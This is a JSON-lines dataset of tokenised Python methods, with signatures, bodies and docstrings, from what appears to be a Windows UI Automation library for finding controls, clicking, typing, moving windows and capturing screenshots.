{"signature": "def GetPreviousSiblingControl(self) -> '<STR_LIT>':", "body": "ele = _AutomationClient.instance().ViewWalker.GetPreviousSiblingElement(self.Element)<EOL>return Control.CreateControlFromElement(ele)<EOL>", "docstring": "Return `Control` subclass or None.", "id": "f1782:c78:m54"}
{"signature": "def GetSiblingControl(self, condition: Callable, forward: bool = True) -> '<STR_LIT>':", "body": "if not forward:<EOL><INDENT>prev = self<EOL>while True:<EOL><INDENT>prev = prev.GetPreviousSiblingControl()<EOL>if prev:<EOL><INDENT>if condition(prev):<EOL><INDENT>return prev<EOL><DEDENT><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>next_ = self<EOL>while True:<EOL><INDENT>next_ = next_.GetNextSiblingControl()<EOL>if next_:<EOL><INDENT>if condition(next_):<EOL><INDENT>return next_<EOL><DEDENT><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Find a SiblingControl by condition(control: Control)->bool.\nforward: bool, if True, only search next siblings, if False, search pervious siblings first, then search next siblings.\ncondition: Callable, function (control: Control)->bool.\nReturn `Control` subclass or None.", "id": "f1782:c78:m55"}
{"signature": "def GetChildren(self) -> list:", "body": "children = []<EOL>child = self.GetFirstChildControl()<EOL>while child:<EOL><INDENT>children.append(child)<EOL>child = child.GetNextSiblingControl()<EOL><DEDENT>return children<EOL>", "docstring": "Return list, a list of `Control` subclasses.", "id": "f1782:c78:m56"}
{"signature": "def _CompareFunction(self, control: '<STR_LIT>', depth: int) -> bool:", "body": "for key, value in self.searchProperties.items():<EOL><INDENT>if '<STR_LIT>' == key:<EOL><INDENT>if value != control.ControlType:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>elif '<STR_LIT>' == key:<EOL><INDENT>if value != control.ClassName:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>elif '<STR_LIT>' == key:<EOL><INDENT>if value != control.AutomationId:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>elif '<STR_LIT:Name>' == key:<EOL><INDENT>if value != control.Name:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>elif '<STR_LIT>' == key:<EOL><INDENT>if value not in control.Name:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>elif '<STR_LIT>' == key:<EOL><INDENT>if not self.regexName.match(control.Name):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>elif '<STR_LIT>' == key:<EOL><INDENT>if value != depth:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>elif '<STR_LIT>' == key:<EOL><INDENT>if not value(control, depth):<EOL><INDENT>return False<EOL><DEDENT><DEDENT><DEDENT>return True<EOL>", "docstring": "Define how to search.\ncontrol: `Control` or its subclass.\ndepth: int, tree depth from searchFromControl.\nReturn bool.", "id": "f1782:c78:m57"}
{"signature": "def Exists(self, maxSearchSeconds: float = <NUM_LIT:5>, searchIntervalSeconds: float = SEARCH_INTERVAL, printIfNotExist: bool = False) -> bool:", "body": "if self._element and self._elementDirectAssign:<EOL><INDENT>rootElement = GetRootControl().Element<EOL>if self._element == rootElement:<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>parentElement = _AutomationClient.instance().ViewWalker.GetParentElement(self._element)<EOL>if parentElement:<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT><DEDENT><DEDENT>if len(self.searchProperties) == <NUM_LIT:0>:<EOL><INDENT>raise LookupError(\"<STR_LIT>\")<EOL><DEDENT>self._element = None<EOL>startTime = ProcessTime()<EOL>prev =  self.searchFromControl<EOL>if prev and not prev._element and not prev.Exists(maxSearchSeconds, searchIntervalSeconds):<EOL><INDENT>if printIfNotExist or DEBUG_EXIST_DISAPPEAR:<EOL><INDENT>Logger.ColorfullyWriteLine(self.GetColorfulSearchPropertiesStr() + '<STR_LIT>')<EOL><DEDENT>return False<EOL><DEDENT>startTime2 = ProcessTime()<EOL>if DEBUG_SEARCH_TIME:<EOL><INDENT>startDateTime = datetime.datetime.now()<EOL><DEDENT>while True:<EOL><INDENT>control = FindControl(self.searchFromControl, self._CompareFunction, self.searchDepth, False, self.foundIndex)<EOL>if control:<EOL><INDENT>self._element = control.Element<EOL>control._element = <NUM_LIT:0>  <EOL>if DEBUG_SEARCH_TIME:<EOL><INDENT>Logger.ColorfullyWriteLine('<STR_LIT>'.format(<EOL>self.GetColorfulSearchPropertiesStr(), control.traverseCount, ProcessTime() - startTime2,<EOL>startDateTime.time(), datetime.datetime.now().time()))<EOL><DEDENT>return True<EOL><DEDENT>else:<EOL><INDENT>remain = startTime + maxSearchSeconds - ProcessTime()<EOL>if remain > <NUM_LIT:0>:<EOL><INDENT>time.sleep(min(remain, searchIntervalSeconds))<EOL><DEDENT>else:<EOL><INDENT>if printIfNotExist or DEBUG_EXIST_DISAPPEAR:<EOL><INDENT>Logger.ColorfullyWriteLine(self.GetColorfulSearchPropertiesStr() + '<STR_LIT>')<EOL><DEDENT>return False<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "maxSearchSeconds: float\nsearchIntervalSeconds: float\nFind control every searchIntervalSeconds seconds in maxSearchSeconds seconds.\nReturn bool, True if find", "id": "f1782:c78:m58"}
{"signature": "def Disappears(self, maxSearchSeconds: float = <NUM_LIT:5>, searchIntervalSeconds: float = SEARCH_INTERVAL, printIfNotDisappear: bool = False) -> bool:", "body": "global DEBUG_EXIST_DISAPPEAR<EOL>start = ProcessTime()<EOL>while True:<EOL><INDENT>temp = DEBUG_EXIST_DISAPPEAR<EOL>DEBUG_EXIST_DISAPPEAR = False  <EOL>if not self.Exists(<NUM_LIT:0>, <NUM_LIT:0>, False):<EOL><INDENT>DEBUG_EXIST_DISAPPEAR = temp<EOL>return True<EOL><DEDENT>DEBUG_EXIST_DISAPPEAR = temp<EOL>remain = start + maxSearchSeconds - ProcessTime()<EOL>if remain > <NUM_LIT:0>:<EOL><INDENT>time.sleep(min(remain, searchIntervalSeconds))<EOL><DEDENT>else:<EOL><INDENT>if printIfNotDisappear or DEBUG_EXIST_DISAPPEAR:<EOL><INDENT>Logger.ColorfullyWriteLine(self.GetColorfulSearchPropertiesStr() + '<STR_LIT>')<EOL><DEDENT>return False<EOL><DEDENT><DEDENT>", "docstring": "maxSearchSeconds: float\nsearchIntervalSeconds: float\nCheck if control disappears every searchIntervalSeconds seconds in maxSearchSeconds seconds.\nReturn bool, True if control disappears.", "id": "f1782:c78:m59"}
{"signature": "def Refind(self, maxSearchSeconds: float = TIME_OUT_SECOND, searchIntervalSeconds: float = SEARCH_INTERVAL, raiseException: bool = True) -> bool:", "body": "if not self.Exists(maxSearchSeconds, searchIntervalSeconds, False if raiseException else DEBUG_EXIST_DISAPPEAR):<EOL><INDENT>if raiseException:<EOL><INDENT>Logger.ColorfullyWriteLine('<STR_LIT>' + self.GetColorfulSearchPropertiesStr())<EOL>raise LookupError('<STR_LIT>' + self.GetSearchPropertiesStr())<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Refind the control every searchIntervalSeconds seconds in maxSearchSeconds seconds.\nmaxSearchSeconds: float.\nsearchIntervalSeconds: float.\nraiseException: bool, if True, raise a LookupError if timeout.\nReturn bool, True if find.", "id": "f1782:c78:m60"}
{"signature": "def MoveCursorToInnerPos(self, x: int = None, y: int = None, ratioX: float = <NUM_LIT:0.5>, ratioY: float = <NUM_LIT:0.5>, simulateMove: bool = True) -> tuple:", "body": "rect = self.BoundingRectangle<EOL>if rect.width() == <NUM_LIT:0> or rect.height() == <NUM_LIT:0>:<EOL><INDENT>Logger.ColorfullyWriteLine('<STR_LIT>'.format(<EOL>self.ControlTypeName, rect, self.GetColorfulSearchPropertiesStr()))<EOL>return<EOL><DEDENT>if x is None:<EOL><INDENT>x = rect.left + int(rect.width() * ratioX)<EOL><DEDENT>else:<EOL><INDENT>x = (rect.left if x >= <NUM_LIT:0> else rect.right) + x<EOL><DEDENT>if y is None:<EOL><INDENT>y = rect.top + int(rect.height() * ratioY)<EOL><DEDENT>else:<EOL><INDENT>y = (rect.top if y >= <NUM_LIT:0> else rect.bottom) + y<EOL><DEDENT>if simulateMove and MAX_MOVE_SECOND > <NUM_LIT:0>:<EOL><INDENT>MoveTo(x, y, waitTime=<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>SetCursorPos(x, y)<EOL><DEDENT>return x, y<EOL>", "docstring": "Move cursor to control's internal position, default to center.\nx: int, if < 0, move to self.BoundingRectangle.right + x, if not None, ignore ratioX.\ny: int, if < 0, move to self.BoundingRectangle.bottom + y, if not None, ignore ratioY.\nratioX: float.\nratioY: float.\nsimulateMove: bool.\nReturn tuple, two ints(x,y), the cursor positon relative to screen(0,0) after moving or None if control's width or height == 0.", "id": "f1782:c78:m61"}
{"signature": "def MoveCursorToMyCenter(self, simulateMove: bool = True) -> tuple:", "body": "return self.MoveCursorToInnerPos(simulateMove=simulateMove)<EOL>", "docstring": "Move cursor to control's center.\nReturn tuple, two ints tuple(x,y), the cursor positon relative to screen(0,0) after moving .", "id": "f1782:c78:m62"}
{"signature": "def Click(self, x: int = None, y: int = None, ratioX: float = <NUM_LIT:0.5>, ratioY: float = <NUM_LIT:0.5>, simulateMove: bool = True, waitTime: float = OPERATION_WAIT_TIME) -> None:", "body": "point = self.MoveCursorToInnerPos(x, y, ratioX, ratioY, simulateMove)<EOL>if point:<EOL><INDENT>Click(point[<NUM_LIT:0>], point[<NUM_LIT:1>], waitTime)<EOL><DEDENT>", "docstring": "x: int, if < 0, click self.BoundingRectangle.right + x, if not None, ignore ratioX.\ny: int, if < 0, click self.BoundingRectangle.bottom + y, if not None, ignore ratioY.\nratioX: float.\nratioY: float.\nsimulateMove: bool, if True, first move cursor to control smoothly.\nwaitTime: float.\n\nClick(), Click(ratioX=0.5, ratioY=0.5): click center.\nClick(10, 10): click left+10, top+10.\nClick(-10, -10): click right-10, bottom-10.", "id": "f1782:c78:m63"}
{"signature": "def MiddleClick(self, x: int = None, y: int = None, ratioX: float = <NUM_LIT:0.5>, ratioY: float = <NUM_LIT:0.5>, simulateMove: bool = True, waitTime: float = OPERATION_WAIT_TIME) -> None:", "body": "point = self.MoveCursorToInnerPos(x, y, ratioX, ratioY, simulateMove)<EOL>if point:<EOL><INDENT>MiddleClick(point[<NUM_LIT:0>], point[<NUM_LIT:1>], waitTime)<EOL><DEDENT>", "docstring": "x: int, if < 0, middle click self.BoundingRectangle.right + x, if not None, ignore ratioX.\ny: int, if < 0, middle click self.BoundingRectangle.bottom + y, if not None, ignore ratioY.\nratioX: float.\nratioY: float.\nsimulateMove: bool, if True, first move cursor to control smoothly.\nwaitTime: float.\n\nMiddleClick(), MiddleClick(ratioX=0.5, ratioY=0.5): middle click center.\nMiddleClick(10, 10): middle click left+10, top+10.\nMiddleClick(-10, -10): middle click right-10, bottom-10.", "id": "f1782:c78:m64"}
{"signature": "def RightClick(self, x: int = None, y: int = None, ratioX: float = <NUM_LIT:0.5>, ratioY: float = <NUM_LIT:0.5>, simulateMove: bool = True, waitTime: float = OPERATION_WAIT_TIME) -> None:", "body": "point = self.MoveCursorToInnerPos(x, y, ratioX, ratioY, simulateMove)<EOL>if point:<EOL><INDENT>RightClick(point[<NUM_LIT:0>], point[<NUM_LIT:1>], waitTime)<EOL><DEDENT>", "docstring": "x: int, if < 0, right click self.BoundingRectangle.right + x, if not None, ignore ratioX.\ny: int, if < 0, right click self.BoundingRectangle.bottom + y, if not None, ignore ratioY.\nratioX: float.\nratioY: float.\nsimulateMove: bool, if True, first move cursor to control smoothly.\nwaitTime: float.\n\nRightClick(), RightClick(ratioX=0.5, ratioY=0.5): right click center.\nRightClick(10, 10): right click left+10, top+10.\nRightClick(-10, -10): right click right-10, bottom-10.", "id": "f1782:c78:m65"}
{"signature": "def DoubleClick(self, x: int = None, y: int = None, ratioX: float = <NUM_LIT:0.5>, ratioY: float = <NUM_LIT:0.5>, simulateMove: bool = True, waitTime: float = OPERATION_WAIT_TIME) -> None:", "body": "x, y = self.MoveCursorToInnerPos(x, y, ratioX, ratioY, simulateMove)<EOL>Click(x, y, GetDoubleClickTime() * <NUM_LIT:1.0> / <NUM_LIT>)<EOL>Click(x, y, waitTime)<EOL>", "docstring": "x: int, if < 0, right click self.BoundingRectangle.right + x, if not None, ignore ratioX.\ny: int, if < 0, right click self.BoundingRectangle.bottom + y, if not None, ignore ratioY.\nratioX: float.\nratioY: float.\nsimulateMove: bool, if True, first move cursor to control smoothly.\nwaitTime: float.\n\nDoubleClick(), DoubleClick(ratioX=0.5, ratioY=0.5): double click center.\nDoubleClick(10, 10): double click left+10, top+10.\nDoubleClick(-10, -10): double click right-10, bottom-10.", "id": "f1782:c78:m66"}
{"signature": "def WheelDown(self, wheelTimes: int = <NUM_LIT:1>, interval: float = <NUM_LIT>, waitTime: float = OPERATION_WAIT_TIME) -> None:", "body": "x, y = GetCursorPos()<EOL>self.SetFocus()<EOL>self.MoveCursorToMyCenter(False)<EOL>WheelDown(wheelTimes, interval, waitTime)<EOL>SetCursorPos(x, y)<EOL>", "docstring": "Make control have focus first, move cursor to center and mouse wheel down.\nwheelTimes: int.\ninterval: float.\nwaitTime: float.", "id": "f1782:c78:m67"}
{"signature": "def WheelUp(self, wheelTimes: int = <NUM_LIT:1>, interval: float = <NUM_LIT>, waitTime: float = OPERATION_WAIT_TIME) -> None:", "body": "x, y = GetCursorPos()<EOL>self.SetFocus()<EOL>self.MoveCursorToMyCenter(False)<EOL>WheelUp(wheelTimes, interval, waitTime)<EOL>SetCursorPos(x, y)<EOL>", "docstring": "Make control have focus first, move cursor to center and mouse wheel up.\nwheelTimes: int.\ninterval: float.\nwaitTime: float.", "id": "f1782:c78:m68"}
{"signature": "def ShowWindow(self, cmdShow: int, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "handle = self.NativeWindowHandle<EOL>if not handle:<EOL><INDENT>control = self<EOL>while not handle:<EOL><INDENT>control = control.GetParentControl()<EOL>handle = control.NativeWindowHandle<EOL><DEDENT><DEDENT>if handle:<EOL><INDENT>ret = ShowWindow(handle, cmdShow)<EOL>time.sleep(waitTime)<EOL>return ret<EOL><DEDENT>", "docstring": "Get a native handle from self or ancestors until valid and call native `ShowWindow` with cmdShow.\ncmdShow: int, a value in in class `SW`.\nwaitTime: float.\nReturn bool, True if succeed otherwise False.", "id": "f1782:c78:m69"}
{"signature": "def Show(self, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "return self.ShowWindow(SW.Show, waitTime)<EOL>", "docstring": "Call native `ShowWindow(SW.Show)`.\nReturn bool, True if succeed otherwise False.", "id": "f1782:c78:m70"}
{"signature": "def Hide(self, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "return self.ShowWindow(SW.Hide, waitTime)<EOL>", "docstring": "Call native `ShowWindow(SW.Hide)`.\nwaitTime: float\nReturn bool, True if succeed otherwise False.", "id": "f1782:c78:m71"}
{"signature": "def MoveWindow(self, x: int, y: int, width: int, height: int, repaint: bool = True) -> bool:", "body": "handle = self.NativeWindowHandle<EOL>if handle:<EOL><INDENT>return MoveWindow(handle, x, y, width, height, int(repaint))<EOL><DEDENT>return False<EOL>", "docstring": "Call native MoveWindow if control has a valid native handle.\nx: int.\ny: int.\nwidth: int.\nheight: int.\nrepaint: bool.\nReturn bool, True if succeed otherwise False.", "id": "f1782:c78:m72"}
{"signature": "def GetWindowText(self) -> str:", "body": "handle = self.NativeWindowHandle<EOL>if handle:<EOL><INDENT>return GetWindowText(handle)<EOL><DEDENT>", "docstring": "Call native GetWindowText if control has a valid native handle.", "id": "f1782:c78:m73"}
{"signature": "def SetWindowText(self, text: str) -> bool:", "body": "handle = self.NativeWindowHandle<EOL>if handle:<EOL><INDENT>return SetWindowText(handle, text)<EOL><DEDENT>return False<EOL>", "docstring": "Call native SetWindowText if control has a valid native handle.", "id": "f1782:c78:m74"}
{"signature": "def SendKey(self, key: int, waitTime: float = OPERATION_WAIT_TIME) -> None:", "body": "self.SetFocus()<EOL>SendKey(key, waitTime)<EOL>", "docstring": "Make control have focus first and type a key.\n`self.SetFocus` may not work for some controls, you may need to click it to make it have focus.\nkey: int, a key code value in class Keys.\nwaitTime: float.", "id": "f1782:c78:m75"}
{"signature": "def SendKeys(self, keys: str, interval: float = <NUM_LIT>, waitTime: float = OPERATION_WAIT_TIME) -> None:", "body": "self.SetFocus()<EOL>SendKeys(keys, interval, waitTime)<EOL>", "docstring": "Make control have focus first and type keys.\n`self.SetFocus` may not work for some controls, you may need to click it to make it have focus.\nkeys: str, keys to type, see the docstring of `SendKeys`.\ninterval: float, seconds between keys.", "id": "f1782:c78:m76"}
{"signature": "def GetPixelColor(self, x: int, y: int) -> int:", "body": "handle = self.NativeWindowHandle<EOL>if handle:<EOL><INDENT>return GetPixelColor(x, y, handle)<EOL><DEDENT>", "docstring": "Call native `GetPixelColor` if control has a valid native handle.\nUse `self.ToBitmap` if control doesn't have a valid native handle or you get many pixels.\nx: int, internal x position.\ny: int, internal y position.\nReturn int, a color value in bgr.\nr = bgr & 0x0000FF\ng = (bgr & 0x00FF00) >> 8\nb = (bgr & 0xFF0000) >> 16", "id": "f1782:c78:m77"}
{"signature": "def ToBitmap(self, x: int = <NUM_LIT:0>, y: int = <NUM_LIT:0>, width: int = <NUM_LIT:0>, height: int = <NUM_LIT:0>) -> Bitmap:", "body": "bitmap = Bitmap()<EOL>bitmap.FromControl(self, x, y, width, height)<EOL>return bitmap<EOL>", "docstring": "Capture control to a Bitmap object.\nx, y: int, the point in control's internal position(from 0,0).\nwidth, height: int, image's width and height from x, y, use 0 for entire area.\n               If width(or height) < 0, image size will be control's width(or height) - width(or height).", "id": "f1782:c78:m78"}
{"signature": "def CaptureToImage(self, savePath: str, x: int = <NUM_LIT:0>, y: int = <NUM_LIT:0>, width: int = <NUM_LIT:0>, height: int = <NUM_LIT:0>) -> bool:", "body": "bitmap = Bitmap()<EOL>if bitmap.FromControl(self, x, y, width, height):<EOL><INDENT>return bitmap.ToFile(savePath)<EOL><DEDENT>return False<EOL>", "docstring": "Capture control to a image file.\nsavePath: str, should end with .bmp, .jpg, .jpeg, .png, .gif, .tif, .tiff.\nx, y: int, the point in control's internal position(from 0,0).\nwidth, height: int, image's width and height from x, y, use 0 for entire area.\n               If width(or height) < 0, image size will be control's width(or height) - width(or height).\nReturn bool, True if succeed otherwise False.", "id": "f1782:c78:m79"}
{"signature": "def IsTopLevel(self) -> bool:", "body": "handle = self.NativeWindowHandle<EOL>if handle:<EOL><INDENT>return GetAncestor(handle, GAFlag.Root) == handle<EOL><DEDENT>return False<EOL>", "docstring": "Determine whether current control is top level.", "id": "f1782:c78:m80"}
{"signature": "def GetTopLevelControl(self) -> '<STR_LIT>':", "body": "handle = self.NativeWindowHandle<EOL>if handle:<EOL><INDENT>topHandle = GetAncestor(handle, GAFlag.Root)<EOL>if topHandle:<EOL><INDENT>if topHandle == handle:<EOL><INDENT>return self<EOL><DEDENT>else:<EOL><INDENT>return ControlFromHandle(topHandle)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>else:<EOL><INDENT>control = self<EOL>while True:<EOL><INDENT>control = control.GetParentControl()<EOL>handle = control.NativeWindowHandle<EOL>if handle:<EOL><INDENT>topHandle = GetAncestor(handle, GAFlag.Root)<EOL>return ControlFromHandle(topHandle)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Get the top level control which current control lays.\nIf current control is top level, return self.\nIf current control is root control, return None.\nReturn `PaneControl` or `WindowControl` or None.", "id": "f1782:c78:m81"}
{"signature": "def GetExpandCollapsePattern(self) -> ExpandCollapsePattern:", "body": "return self.GetPattern(PatternId.ExpandCollapsePattern)<EOL>", "docstring": "Return `ExpandCollapsePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c80:m1"}
{"signature": "def GetInvokePattern(self) -> InvokePattern:", "body": "return self.GetPattern(PatternId.InvokePattern)<EOL>", "docstring": "Return `InvokePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c80:m2"}
{"signature": "def GetTogglePattern(self) -> TogglePattern:", "body": "return self.GetPattern(PatternId.TogglePattern)<EOL>", "docstring": "Return `TogglePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c80:m3"}
{"signature": "def GetGridPattern(self) -> GridPattern:", "body": "return self.GetPattern(PatternId.GridPattern)<EOL>", "docstring": "Return `GridPattern` if it supports the pattern else None(Must support according to MSDN).", "id": "f1782:c81:m1"}
{"signature": "def GetTablePattern(self) -> TablePattern:", "body": "return self.GetPattern(PatternId.TablePattern)<EOL>", "docstring": "Return `TablePattern` if it supports the pattern else None(Must support according to MSDN).", "id": "f1782:c81:m2"}
{"signature": "def GetScrollPattern(self) -> ScrollPattern:", "body": "return self.GetPattern(PatternId.ScrollPattern)<EOL>", "docstring": "Return `ScrollPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c81:m3"}
{"signature": "def GetSelectionPattern(self) -> SelectionPattern:", "body": "return self.GetPattern(PatternId.SelectionPattern)<EOL>", "docstring": "Return `SelectionPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c81:m4"}
{"signature": "def GetTogglePattern(self) -> TogglePattern:", "body": "return self.GetPattern(PatternId.TogglePattern)<EOL>", "docstring": "Return `TogglePattern` if it supports the pattern else None(Must support according to MSDN).", "id": "f1782:c82:m1"}
{"signature": "def GetExpandCollapsePattern(self) -> ExpandCollapsePattern:", "body": "return self.GetPattern(PatternId.ExpandCollapsePattern)<EOL>", "docstring": "Return `ExpandCollapsePattern` if it supports the pattern else None(Must support according to MSDN).", "id": "f1782:c83:m1"}
{"signature": "def GetSelectionPattern(self) -> SelectionPattern:", "body": "return self.GetPattern(PatternId.SelectionPattern)<EOL>", "docstring": "Return `SelectionPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c83:m2"}
{"signature": "def GetValuePattern(self) -> ValuePattern:", "body": "return self.GetPattern(PatternId.ValuePattern)<EOL>", "docstring": "Return `ValuePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c83:m3"}
{"signature": "def Select(self, itemName: str = '<STR_LIT>', condition: Callable = None, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "expandCollapsePattern = self.GetExpandCollapsePattern()<EOL>if expandCollapsePattern:<EOL><INDENT>expandCollapsePattern.Expand()<EOL><DEDENT>else:<EOL><INDENT>self.Click(x=-<NUM_LIT:10>, ratioY=<NUM_LIT:0.5>, simulateMove=False)<EOL><DEDENT>find = False<EOL>if condition:<EOL><INDENT>listItemControl = self.ListItemControl(Compare=lambda c, d: condition(c.Name))<EOL><DEDENT>else:<EOL><INDENT>listItemControl = self.ListItemControl(Name=itemName)<EOL><DEDENT>if listItemControl.Exists(<NUM_LIT:1>):<EOL><INDENT>scrollItemPattern = listItemControl.GetScrollItemPattern()<EOL>if scrollItemPattern:<EOL><INDENT>scrollItemPattern.ScrollIntoView(waitTime=<NUM_LIT:0.1>)<EOL><DEDENT>listItemControl.Click(waitTime=waitTime)<EOL>find = True<EOL><DEDENT>else:<EOL><INDENT>listControl = ListControl(searchDepth= <NUM_LIT:1>)<EOL>if listControl.Exists(<NUM_LIT:1>):<EOL><INDENT>if condition:<EOL><INDENT>listItemControl = self.ListItemControl(Compare=lambda c, d: condition(c.Name))<EOL><DEDENT>else:<EOL><INDENT>listItemControl = self.ListItemControl(Name=itemName)<EOL><DEDENT>if listItemControl.Exists(<NUM_LIT:0>, <NUM_LIT:0>):<EOL><INDENT>scrollItemPattern = listItemControl.GetScrollItemPattern()<EOL>if scrollItemPattern:<EOL><INDENT>scrollItemPattern.ScrollIntoView(waitTime=<NUM_LIT:0.1>)<EOL><DEDENT>listItemControl.Click(waitTime=waitTime)<EOL>find = True<EOL><DEDENT><DEDENT><DEDENT>if not find:<EOL><INDENT>Logger.ColorfullyWriteLine('<STR_LIT>'.format(itemName), ConsoleColor.Yellow)<EOL>if expandCollapsePattern:<EOL><INDENT>expandCollapsePattern.Collapse(waitTime)<EOL><DEDENT>else:<EOL><INDENT>self.Click(x=-<NUM_LIT:10>, ratioY=<NUM_LIT:0.5>, simulateMove=False, waitTime=waitTime)<EOL><DEDENT><DEDENT>return find<EOL>", "docstring": "Show combobox's popup menu and select a item by name.\nitemName: str.\ncondition: Callable function(comboBoxItemName: str)->bool, if condition is valid, ignore itemName.\nwaitTime: float.\nSome comboboxs doesn't support SelectionPattern, here is a workaround.\nThis method tries to and selection support.\nIt may not work for some comboboxes, such as comboboxes in older Qt version.\nIf it doesn't work, you should write your own version Select, or it doesn't support selection at all.", "id": "f1782:c83:m4"}
{"signature": "def GetGridPattern(self) -> GridPattern:", "body": "return self.GetPattern(PatternId.GridPattern)<EOL>", "docstring": "Return `GridPattern` if it supports the pattern else None(Must support according to MSDN).", "id": "f1782:c85:m1"}
{"signature": "def GetScrollPattern(self) -> ScrollPattern:", "body": "return self.GetPattern(PatternId.ScrollPattern)<EOL>", "docstring": "Return `ScrollPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c85:m2"}
{"signature": "def GetSelectionPattern(self) -> SelectionPattern:", "body": "return self.GetPattern(PatternId.SelectionPattern)<EOL>", "docstring": "Return `SelectionPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c85:m3"}
{"signature": "def GetTablePattern(self) -> TablePattern:", "body": "return self.GetPattern(PatternId.TablePattern)<EOL>", "docstring": "Return `TablePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c85:m4"}
{"signature": "def GetSelectionItemPattern(self) -> SelectionItemPattern:", "body": "return self.GetPattern(PatternId.SelectionItemPattern)<EOL>", "docstring": "Return `SelectionItemPattern` if it supports the pattern else None(Must support according to MSDN).", "id": "f1782:c86:m1"}
{"signature": "def GetExpandCollapsePattern(self) -> ExpandCollapsePattern:", "body": "return self.GetPattern(PatternId.ExpandCollapsePattern)<EOL>", "docstring": "Return `ExpandCollapsePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c86:m2"}
{"signature": "def GetGridItemPattern(self) -> GridItemPattern:", "body": "return self.GetPattern(PatternId.GridItemPattern)<EOL>", "docstring": "Return `GridItemPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c86:m3"}
{"signature": "def GetScrollItemPattern(self) -> ScrollItemPattern:", "body": "return self.GetPattern(PatternId.ScrollItemPattern)<EOL>", "docstring": "Return `ScrollItemPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c86:m4"}
{"signature": "def GetTableItemPattern(self) -> TableItemPattern:", "body": "return self.GetPattern(PatternId.TableItemPattern)<EOL>", "docstring": "Return `TableItemPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c86:m5"}
{"signature": "def GetTogglePattern(self) -> TogglePattern:", "body": "return self.GetPattern(PatternId.TogglePattern)<EOL>", "docstring": "Return `TogglePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c86:m6"}
{"signature": "def GetValuePattern(self) -> ValuePattern:", "body": "return self.GetPattern(PatternId.ValuePattern)<EOL>", "docstring": "Return `ValuePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c86:m7"}
{"signature": "def GetTextPattern(self) -> TextPattern:", "body": "return self.GetPattern(PatternId.TextPattern)<EOL>", "docstring": "Return `TextPattern` if it supports the pattern else None(Must support according to MSDN).", "id": "f1782:c87:m1"}
{"signature": "def GetScrollPattern(self) -> ScrollPattern:", "body": "return self.GetPattern(PatternId.ScrollPattern)<EOL>", "docstring": "Return `ScrollPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c87:m2"}
{"signature": "def GetValuePattern(self) -> ValuePattern:", "body": "return self.GetPattern(PatternId.ValuePattern)<EOL>", "docstring": "Return `ValuePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c87:m3"}
{"signature": "def GetRangeValuePattern(self) -> RangeValuePattern:", "body": "return self.GetPattern(PatternId.RangeValuePattern)<EOL>", "docstring": "Return `RangeValuePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c88:m1"}
{"signature": "def GetTextPattern(self) -> TextPattern:", "body": "return self.GetPattern(PatternId.TextPattern)<EOL>", "docstring": "Return `TextPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c88:m2"}
{"signature": "def GetValuePattern(self) -> ValuePattern:", "body": "return self.GetPattern(PatternId.ValuePattern)<EOL>", "docstring": "Return `ValuePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c88:m3"}
{"signature": "def GetExpandCollapsePattern(self) -> ExpandCollapsePattern:", "body": "return self.GetPattern(PatternId.ExpandCollapsePattern)<EOL>", "docstring": "Return `ExpandCollapsePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c89:m1"}
{"signature": "def GetTransformPattern(self) -> TransformPattern:", "body": "return self.GetPattern(PatternId.TransformPattern)<EOL>", "docstring": "Return `TransformPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c90:m1"}
{"signature": "def GetInvokePattern(self) -> InvokePattern:", "body": "return self.GetPattern(PatternId.InvokePattern)<EOL>", "docstring": "Return `InvokePattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c91:m1"}
{"signature": "def GetTransformPattern(self) -> TransformPattern:", "body": "return self.GetPattern(PatternId.TransformPattern)<EOL>", "docstring": "Return `TransformPattern` if it supports the pattern else None(Conditional support according to MSDN).", "id": "f1782:c91:m2"}
